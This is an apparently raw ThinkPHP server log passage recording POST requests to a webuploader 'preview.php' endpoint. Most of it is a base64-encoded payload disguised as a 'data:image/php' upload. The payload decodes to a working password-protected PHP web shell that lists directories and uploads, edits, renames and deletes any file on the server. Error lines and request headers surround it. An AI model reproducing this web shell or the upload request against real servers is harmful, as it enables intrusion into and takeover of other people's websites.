ik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:40+08:00 ] 119.42.146.234 POST 59.110.137.245/hekenews/public/static/hui/lib%20/webuploader/0.1.5/server/server/preview.php [运行时间:0.002392s] [吞吐率:418.05req/s] [内存消耗:164.95kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'hekenews', 2 => 'public', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KIC